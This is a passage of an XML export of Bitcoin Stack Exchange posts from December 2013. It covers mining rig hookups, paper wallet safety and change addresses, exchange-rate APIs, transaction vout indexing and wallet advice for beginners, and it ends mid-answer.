  <row Id="19621" PostTypeId="1" CreationDate="2013-12-30T21:51:47.113" Score="1" ViewCount="698" Body="&lt;p&gt;I'm currently running a rig with seven block erupters in a 10 connector powered USB hub. After taking the USB fan into account, I have an additional two USB ports available. The host is an old laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just purchased a &lt;a href=&quot;https://products.butterflylabs.com/&quot; rel=&quot;nofollow&quot;&gt;Butterfly Labs&lt;/a&gt; 30&amp;nbsp;Ghash/s unit. What is the best way to combine this into my rig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I plug it into the USB port, even though the Butterfly Labs 30&amp;nbsp;Ghash/s unit is self-powered? Otherwise, should I connect the Butterfly Lab unit directly to a USB port on the laptop? Will there be any difference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mining with &lt;a href=&quot;https://en.bitcoin.it/wiki/CGMiner&quot; rel=&quot;nofollow&quot;&gt;CGMiner&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11601" LastEditorUserId="5406" LastEditDate="2016-04-25T21:04:24.683" LastActivityDate="2016-04-25T21:04:24.683" Title="Bitcoin rig setup, connecting a Butterfly Labs unit using USB" Tags="|asic|mining-setup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19622" PostTypeId="2" ParentId="19619" CreationDate="2013-12-30T22:10:19.797" Score="1" Body="&lt;p&gt;There's definitely a certain danger to it. According to this book &lt;a href=&quot;http://www.totalbitcoinsecurity.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.totalbitcoinsecurity.com/&lt;/a&gt; there are two easy ways to improve its security:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Why put all your money in one paper address? You can split it up and put it in several paper addresses. This makes each address a less attractive target.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use BIP38 to encrypt the private keys. If somebody steals your encrypted private key he'll still need to know the passphrase. This is slightly related to two-factor authentication: in order to access the wallet, you need both the private key (typically stored in paper) and the passphrase, which you could remember or write down somewhere else.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I have no relationship to the cited book. I simply read it last week.&lt;/p&gt;&#xA;" OwnerUserId="11557" LastActivityDate="2013-12-30T22:10:19.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19623" PostTypeId="1" AcceptedAnswerId="19625" CreationDate="2013-12-30T22:11:51.077" Score="1" ViewCount="180" Body="&lt;p&gt;I'm using the &lt;a href=&quot;https://blockchain.info/api/exchange_rates_api&quot; rel=&quot;nofollow&quot;&gt;Blockchain exchange rate API&lt;/a&gt; to add a Bitcoin exchange rate calculating function to one of my apps.  I'm not sure which value I should be using.  For each currency type (USD, EUR, etc.) four different rates are returned: &quot;last,&quot; &quot;buy,&quot; &quot;sell,&quot; and &quot;24h.&quot;&lt;/p&gt;&#xA;" OwnerUserId="4819" LastActivityDate="2014-08-19T22:48:30.167" Title="Which exchange rate should I use for calculating Bitcoin exchange rates?" Tags="|api|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19624" PostTypeId="2" ParentId="19621" CreationDate="2013-12-30T22:19:43.200" Score="1" Body="&lt;p&gt;I don't think it will make a difference.  If you are using the &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B005NGQWL2&quot; rel=&quot;nofollow&quot;&gt;Anker 10-port &quot;power bar&quot; style USB hub&lt;/a&gt; (that's what it sounds like you have, based on your description of it + the fact that this hub is very commonly used with USB bitcoin miners), that is a pretty robust hub.  One of my mining rigs (which doubles as my media center) has 8 block erupters + USB fan + an external USB hard drive on it, and all devices function without any difficulty.&lt;/p&gt;&#xA;" OwnerUserId="4819" LastActivityDate="2013-12-30T22:19:43.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19625" PostTypeId="2" ParentId="19623" CreationDate="2013-12-30T22:55:22.223" Score="1" Body="&lt;p&gt;Most people are interested in the last value or the 24 hour average, it depends on the purpose of the application and the intent of the developer.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2013-12-30T22:55:22.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19626" PostTypeId="2" ParentId="19613" CreationDate="2013-12-31T00:06:28.747" Score="1" Body="&lt;p&gt;The concept of a money multiplier is meaningless in an unregulated environment. The money multiplier is, by definition, a legal limit imposed on the reserves banks must have.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-31T00:06:28.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19628" PostTypeId="1" CreationDate="2013-12-31T01:04:03.937" Score="4" ViewCount="560" Body="&lt;p&gt;I'm pretty shocked that I found out now about the change thing as I read everywhere about paper wallets being secure, but no where does it state that when you spend partial amounts from your paper wallet you might actually lose it all if you don't have a change address setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question is how does blockchain.info handle this paper wallet situation with change addresses? It's kind of scarey knowing that you coins can just disappear just because you don't know the inner workings of how transactions work. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2013-12-31T16:03:57.393" Title="When using a paper wallet and doing partial spends via blockchain.info. Where does the change go?" Tags="|wallet|blockchain.info|change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19629" PostTypeId="2" ParentId="18116" CreationDate="2013-12-31T01:40:54.073" Score="1" Body="&lt;p&gt;Ripple.com does not store any information about the users of the ripple network. Instead if you want to make transactions using only a username and password you must store your secret key in an encrypted blob vault, using your username and password credentials to create the encrypted cypher-text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The web wallet app available at ripple.com/client uses such a blob vault to store and retrieve your ripple secret key. Then behind the scenes it signs transactions to the ripple network using your key. The provider of your vault is configurable and if you desire you may implement your own blob vault by following the vault protocol and by consulting the official open source &lt;a href=&quot;https://github.com/ripple/ripple-blobvault&quot; rel=&quot;nofollow&quot;&gt;blob vault code on github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course in your own ripple applications you can use whichever protocol you like to store and retrieve your secret key using a username and password for encryption. Remember it is not possible to make transactions in the ripple ledger without a signature from your account secret key.&lt;/p&gt;&#xA;" OwnerUserId="5312" LastActivityDate="2013-12-31T01:40:54.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19630" PostTypeId="2" ParentId="19609" CreationDate="2013-12-31T03:17:08.380" Score="1" Body="&lt;p&gt;You must set the miner path before you can start mining. Click the manage profiles button in the settings tab to open the profile manager, where you can edit the profiles miner path&lt;/p&gt;&#xA;" OwnerUserId="11608" LastActivityDate="2013-12-31T03:17:08.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19632" PostTypeId="2" ParentId="19324" CreationDate="2013-12-31T03:51:27.660" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.kraken.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kraken&lt;/a&gt; also known as &lt;a href=&quot;https://www.kraken.com/about/payward&quot; rel=&quot;nofollow noreferrer&quot;&gt;Payward Ventures Inc&lt;/a&gt; is currently registered as a Money Service Business in &lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/msbstateselector.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;every single state in the US&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell however they will still not do business for the 2nd 3rd or 4th tier verifications in any state. I have no idea why this is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rX0OG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-12-31T03:51:27.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19633" PostTypeId="1" CreationDate="2013-12-31T03:58:33.407" Score="4" ViewCount="330" Body="&lt;p&gt;&lt;strong&gt;Regarding the granularity problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a worst case scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;M2 Monetary Supply is 66 trillion. If it all moved to BitCoin, each coin would be worth 3.1 million dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Math: 66000000000000/21000000 = $3,142,857&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One Satoshi is the smallest possible denomination of BitCoin at 0.00000001 of a BitCoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all of M2 moved into BitCoins, each Satoshi would be worth 3142857*0.00000001 = .03, or three cents. And since the M2 supply is increasing at around 6% per year, all else being equal, a Satoshi would reduce to a penny in about 20 years. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Math: (1.06)^19 = 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is simplistic and extreme, but points out that the sheer numbers required to cause concern over the 21 million coin cap just aren't there for the foreseeable future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider too that BitCoin is just a single form of Crypto Currency. It’s plausible that a second alt coin, possibly an inflationary one, will be used in addition to BitCoin. Where BitCoin would serve as more of a store of value, and an alternate coin would serve as every day cash. In fact, this is already being experimented with today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** Regarding the liquidity trap problem **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First want to point out that the liquidity trap problem is commonly used as a replacement for the granularity problem.  They are different.  Granularity problem is addressed in the above section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The liquidity problem stems more from: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Once you have C coins, you also have P percentage of the total number&#xA;  of Bitcoins. And as long as you hold steady, P never changes.&#xA;  Conversely, with the dollar for example, you have P percent today, but&#xA;  P decreases tomorrow when more dollars are printed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;So there is more incentive to put a dollar to work than a bitcoin.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This theoretically results in hoarding of the coins, reducing the number of coins in circulation, making them more valuable, causing a downward spiral.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding calling it an investment:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People are trying to make sense of something we’ve never seen before in history. This is a new invention. And it is money by definition. There’s no more “if” when you can use it to purchase goods, gamble, and settle debts. We’re already at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be seen as an investment from the perspective of “If I spend US $1,000 on BitCoin today, I might make a 2x return by end of year.” But it’s very short sided trying to compare it to an equity. As mentioned above, it makes more sense to look at in terms of “how much of the overall money supply will be made up of bitcoin?” Today it’s 10 Billion US dollars and growing. That's nothing to scoff at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crypto-currency is an invention first and foremost. And at this point we are engaging in an experiment. That’s why it’s risky. We don’t know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding calling it a bubble:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bubble is “A theory that security prices rise above their true value and will continue to do so until prices go into free fall and the bubble bursts.” &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To call it a bubble means that you must have a tangible grasp on its true value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nobody knows what the true value is, but we know that:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As of this posting, BitCoin exchanges with the US dollar at around $750 per coin.&lt;/li&gt;&#xA;&lt;li&gt;You can use it today to buy a grilled cheese sandwich and a haircut in Seattle, and coffee in San Francisco&lt;/li&gt;&#xA;&lt;li&gt;You can also use it today to buy computers online, houses, cars, and to bet on sports, play poker, etc.&lt;/li&gt;&#xA;&lt;li&gt;As much as Bitcoin can be volatile, it is still very attractive as a store of wealth for citizens of countries whose governments are destroying their local currencies. This is already happening today.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The network affect is already here. People want to use it, and it’s adoption rate is exponential. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If BitCoin saw only a 1% adoption worldwide, each coin would be valued at $31,000 US dollars. From that perspective, it’s a deal today at $750 per coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point being, you can’t call it a bubble unless you can identify what its value should be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding comparisons to Beanie Babies and Tulips:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is a currency that is easier and faster to transact on a large scale than anything else in existence. It's not a collectable. This comparison is simply misguided.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding &quot;It's too complex for the average citizen to understand and secure against getting hacked/swindled&quot;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Very true today, but today this is less true than it was three years ago. The ecosystem around BitCoin and Crypto-currency in general is growing rapidly, and backed by leading venture capitalists investing in startups, big banks, and big technology companies like IBM. The issues around ease of use will dissolve in a relatively short amount of time. And hacking will always be a problem, just like bank robberies and muggings will always exist. As these issues are diminished over the coming years, we'll see more mainstream adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Potential concerns:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We could encounter issues in the underlying architecture down the road, such as attack vectors, inability to upgrade crypto algorithms, performance issues as the network scales, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Political issues like taxation, cross-border exchanges, and central governance. This is the biggest can of worms, but not the type of problem we should call unsolvable. In fact these concepts may very well be reinvented and evolved in a better way. My point here is that just because it doesn't fit into an existing framework doesn't mean it won't work. This is a problem that great inventions commonly encounter, and not a de-facto deal-breaker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In summary&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a new invention, and directly addresses many issues we have with today's mediums of exchange. It can be compared to many things, but it is not any of them. It's an experiment, and an exciting one at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today it represents .015% of the world's currency. The question we ought to be asking is, what will that number look like in 2014, 2015, and the foreseeable future?&lt;/p&gt;&#xA;" OwnerUserId="11212" LastEditorUserId="11212" LastEditDate="2017-11-30T04:58:41.780" LastActivityDate="2017-11-30T04:58:41.780" Title="Can anyone point to flaws in my counter-arguments of bitcoin critiques?" Tags="|money-supply|investing|deflation|" AnswerCount="2" CommentCount="2" ClosedDate="2014-01-03T02:19:21.090" ContentLicense="CC BY-SA 3.0" />
  <row Id="19636" PostTypeId="2" ParentId="19058" CreationDate="2013-12-31T05:04:54.090" Score="0" Body="&lt;p&gt;So far I have been using&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I 18 -g 1 -w 256 --thread-concurrency 2400&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Getting ~71k/h with clock at 820 and mem at 852&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps&lt;/p&gt;&#xA;" OwnerUserId="11613" LastActivityDate="2013-12-31T05:04:54.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19637" PostTypeId="1" AcceptedAnswerId="19648" CreationDate="2013-12-31T05:54:20.190" Score="1" ViewCount="986" Body="&lt;p&gt;Based upon any standard you think relevant, how quickly are current blocks being verified for rule-following such as correct balance tallies, true transactions, correct rewards &amp;amp; fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an onerous process?  Would a database quicken this process?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions for improving block verification speed?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-31T07:04:53.900" LastActivityDate="2014-02-14T17:09:30.893" Title="Block confirmation speed" Tags="|blockchain|block|confirmations|nodes|performance|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19638" PostTypeId="1" CreationDate="2013-12-31T06:09:54.467" Score="2" ViewCount="444" Body="&lt;p&gt;The Base58 Encoding of a public key hash outputs:  &quot;A set of 58 alphanumeric symbols consisting of easily distinguished uppercase and lowercase letters (0OIl are not used)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This set is a fixed string of 34 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That is to say, &quot;A bit coin wallet's address is 34 characters, each character being one from a possible set of 58&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the total possible addresses is 58^34 which is just slightly less than 2^40.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the hash space is 2^160, but the final result is much smaller at 2^40.  What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Edit:  I made a simple math mistake reducing 58^34 to a power of two&#xA;  by adding not multiplying the exponents...  The bitcoin address is&#xA;  sufficient to contain the 2^160 possible hashes:  58^34 is 904&#xA;  octodecillion (60 decimal digits), and 2^160 is 1 quindecillion (49&#xA;  decimal digits)... the larger number accounts for the version byte and&#xA;  checksum.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="11212" LastEditorUserId="11212" LastEditDate="2013-12-31T16:39:37.000" LastActivityDate="2013-12-31T16:39:37.000" Title="The bitcoin address space seems to be closer to 2^40, not 2^160" Tags="|hash|hacking|base58|ripemd160|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19640" PostTypeId="2" ParentId="19633" CreationDate="2013-12-31T06:42:36.583" Score="2" Body="&lt;p&gt;&lt;strong&gt;Regarding the liquidity trap concern:&lt;/strong&gt;&#xA;The common and agreed upon solution is to allow a few more decimals in a bitcoin client update when the time comes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding calling it an investment:&lt;/strong&gt;&#xA;All good, for some people it's not an investment but a belief in the idea.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Regarding calling it a bubble:&lt;/strong&gt;&#xA;Value is what people are willing to pay, not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is sound otherwise.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2013-12-31T06:42:36.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19641" PostTypeId="2" ParentId="19633" CreationDate="2013-12-31T07:01:03.563" Score="1" Body="&lt;p&gt;I don't know why you're calling the first point a &quot;liquidity trap&quot;, that has nothing to do with the words that follow. Did you mean &quot;granularity problem&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the 21 million cap isn't a problem, not because it reduces to .03 cents in an extreme scenario, but because the code could be changed to go out to more decimal places, no math required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no way bitcoin would serve as a store of value and not a medium of exchange. That's the point of bitcoin; to be easily transferable. If another coin becomes adopted as better to transact with, it would replace bitcoin, not supplement it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin can certainly be an investment. Don't know what your argument is here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can call it a bubble. Gold was a bubble, housing was a bubble. Doesn't have to be worthless to be a bubble. I also disagree with &quot;you can't call it a bubble unless you can identify what it's value should be&quot;. If its value were well established it wouldn't be a bubble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Agreed that the tulip comparison is misguided. tulips and beanie babies had no context in which they were of objective value, of which bitcoin does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;agreed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you say a real issue is &quot;in the underlying architecture&quot; which is a pretty huge thing for you to say, considering you're trying to counter-argue critiques. You should really be more specific. Do you believe Bitcoin is safe or not? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are you saying about the ability to replace existing crypto algorithms? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;transaction time can be changed if necessary. Another altcoin will not rise due to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no potential address collision problem.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2013-12-31T07:01:03.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19643" PostTypeId="2" ParentId="19638" CreationDate="2013-12-31T10:39:21.447" Score="5" Body="&lt;p&gt;No, 58^34 is greater than 2^160: &lt;a href=&quot;http://www.wolframalpha.com/input/?i=2%2a%2a160%20%3E%2058%2a%2a34&quot; rel=&quot;noreferrer&quot;&gt;http://www.wolframalpha.com/input/?i=2*&lt;em&gt;160+%3E+58&lt;/em&gt;*34&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, that the address also contains a checksum and a network id not carrying additional information. That's why the numbers are not equal.&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2013-12-31T10:39:21.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19644" PostTypeId="2" ParentId="11602" CreationDate="2013-12-31T11:25:00.840" Score="1" Body="&lt;p&gt;As I understand. In a bricks and mortar retail environment listening software can be employed which in just a few seconds reduces the risk of a double spend to a mathematical possibility rather than a practical concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mail order, as soon as the transaction is detected, well there is no risk.&lt;/p&gt;&#xA;" OwnerUserId="11617" LastEditorUserId="11617" LastEditDate="2013-12-31T18:53:41.473" LastActivityDate="2013-12-31T18:53:41.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19645" PostTypeId="1" CreationDate="2013-12-31T13:05:19.560" Score="1" ViewCount="1038" Body="&lt;p&gt;I have installed my MultiBit wallet and there is red &quot;connecting&quot; sign in left bottom corner. Wallet never connects. When I try it from another place (my friends house) everything is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is obvious that its network problem in my place. I have public IP and port 8333 is properly forwarded. I am using Mac OS X 10.8.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what else to try or where to look for some error messages. Do you have any ideas what else to try or where to look for some clues?&lt;/p&gt;&#xA;" OwnerUserId="11620" LastActivityDate="2014-07-01T01:43:48.627" Title="My MultiBit is unable to connect" Tags="|multibit|mac|connection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19646" PostTypeId="1" CreationDate="2013-12-31T13:53:03.443" Score="1" ViewCount="277" Body="&lt;p&gt;I just want to buy £50 worth and forget about it for ten years. I live in the UK, don't have a smartphone, bank online, but can't prove ID easily (because I rent a room in a block). I don't understand highly technical explanations. What's the best wallet for me?&lt;/p&gt;&#xA;" OwnerUserId="11622" LastEditorUserId="132" LastEditDate="2014-01-31T12:21:17.810" LastActivityDate="2014-01-31T15:09:37.000" Title="Wallet advice for users without technical knowledge" Tags="|wallet|" AnswerCount="3" CommentCount="0" ClosedDate="2014-02-09T01:39:54.157" ContentLicense="CC BY-SA 3.0" />
  <row Id="19647" PostTypeId="2" ParentId="19646" CreationDate="2013-12-31T13:58:35.877" Score="0" Body="&lt;p&gt;When you register to &lt;a href=&quot;https://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;LocalBitcoins&lt;/a&gt; you get a free web bitcoin wallet. You can access this with a web browser and protect it with secure paper codes log in.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the site allows you to buy bitcoins with cash, so you get two birds with one stone.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2013-12-31T13:58:35.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19648" PostTypeId="2" ParentId="19637" CreationDate="2013-12-31T16:03:19.577" Score="2" Body="&lt;p&gt;The bulk of the work lies in verifying each transaction within the block.  This means that the signatures need to be checked for each transaction input, which requires a lot of CPU processing.  So, one way to improve the verification speed would be to have a hardware-assist for the verification process (such as a specialized ASIC chip).  I don't know if a miner ASIC could be used, but it is an interesting thought.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-31T16:03:19.577" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19649" PostTypeId="2" ParentId="19628" CreationDate="2013-12-31T16:03:57.393" Score="2" Body="&lt;p&gt;If you use a paper wallet with just one address. The most common way to make transactions that do not spent a complete unspent output (UTXO) is to send the change back to the wallet address itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that using only a single address implies that you have no privacy whatsoever. Everyone that Evers comes to know your address can see your balance and every transaction you receive or send. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paper wallets are useful to safely and conveniently store some bitcoins, but when you want to make payments on a more frequent basis, you should use a more sophisticated wallet that can contain multiple addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that HD wallets (Hierarchical Deterministic wallets) make it possible to have a paper wallet that can consist of many addresses. However I don't know of a wallet app that already supports this type of wallets today. &lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-31T16:03:57.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19650" PostTypeId="1" CreationDate="2013-12-31T17:56:18.680" Score="3" ViewCount="980" Body="&lt;p&gt;Is there a compiled Windows binary for the Ripple deamon rippled available for download? I only found its source code...&lt;/p&gt;&#xA;" OwnerUserId="3120" LastActivityDate="2015-06-05T01:02:40.143" Title="Is there a rippled Windows binary available for download?" Tags="|ripple|windows|daemon|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19651" PostTypeId="1" AcceptedAnswerId="19654" CreationDate="2013-12-31T19:18:29.037" Score="4" ViewCount="1589" Body="&lt;p&gt;I have searched around for this and found the following article &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11411/in-getrawtransaction-what-is-the-vout-integer-in-the-vin-list&quot;&gt;In getrawtransaction, what is the vout integer in the vin list?&lt;/a&gt;. However I am a very visual learner and this does not make much sense mostly because the two transactions I tested don't seem to follow the rule in the post or more likely I don't get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For transaction &lt;a href=&quot;https://blockchain.info/tx/1d7f54deccb7b2646a4ba83c6884dbac953b0588c8943d0e7e8f7c8f559d5d72&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;1d7f54deccb7b2646a4ba83c6884dbac953b0588c8943d0e7e8f7c8f559d5d72&lt;/code&gt;&lt;/a&gt; I expect the &lt;code&gt;vout&lt;/code&gt; to be 1 which is correct and I validated through use of &lt;code&gt;gettxid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for transaction &lt;a href=&quot;https://blockchain.info/tx/ef96555197df4397ac4fed180903ce760fe8b59b85da83baba5ecd2a0fac7ec1&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ef96555197df4397ac4fed180903ce760fe8b59b85da83baba5ecd2a0fac7ec1&lt;/code&gt;&lt;/a&gt; I expect the &lt;code&gt;vout&lt;/code&gt; to be 2 which is not correct per validation with &lt;code&gt;gettxid&lt;/code&gt;. The correct number is in fact 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain this to me why &lt;code&gt;vout&lt;/code&gt; for the second transaction would be 0?&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-01-01T15:18:21.340" Title="Understanding Vout" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19652" PostTypeId="2" ParentId="19637" CreationDate="2013-12-31T19:52:30.257" Score="1" Body="&lt;p&gt;The transaction verification process is not particularly CPU or memory intensive. The CPU intensive part is the network protocol needed to get a global consensus on a single total order of transactions. That is called &quot;mining&quot; and that is what the specialized ASICs from various companies such as kncminer are designed to help with.&lt;/p&gt;&#xA;" OwnerUserId="2950" LastActivityDate="2013-12-31T19:52:30.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19654" PostTypeId="2" ParentId="19651" CreationDate="2013-12-31T20:45:19.697" Score="8" Body="&lt;p&gt;VOUT is the index of the output within the transaction that the input is spending.  The first output in a transaction is index 0, the second is index 1, etc.  The transaction you referenced has two outputs, so it has outputs 0 and 1.  You would reference txid:0 to spend the first output and txid:1 to spend the second output.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-31T20:45:19.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19655" PostTypeId="2" ParentId="19646" CreationDate="2013-12-31T20:54:53.063" Score="0" Body="&lt;p&gt;&lt;strong&gt;Buying Bitcoins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Coinbase or Localbitcoins, more preferably localbitcoins as coinbase has some anti-consumer tactics to get them profit. They mark transactions as &quot;suspicious&quot; 5 days later when bitcoin gains price and process transactions when the price of bitcoin falls, essentially using the customer as an entity that inherits all risk in trading. Be careful with localbitcoin too, use escrow and if you are meeting the person physically make sure it's in a public place like a coffee shop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Storing Bitcoins&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To robustly store bitcoins, get electrum. Write down the seed it gives you when you first make a wallet and make sure you use it with a password. For extra precaution export the wallet onto a usb and if you use a good password you can also just leave a copy of the encrypted wallet on google drive or other computers. This is safe to do as a passworded wallet is encrypted. You can go for a &quot;paper wallet&quot; if you are even more 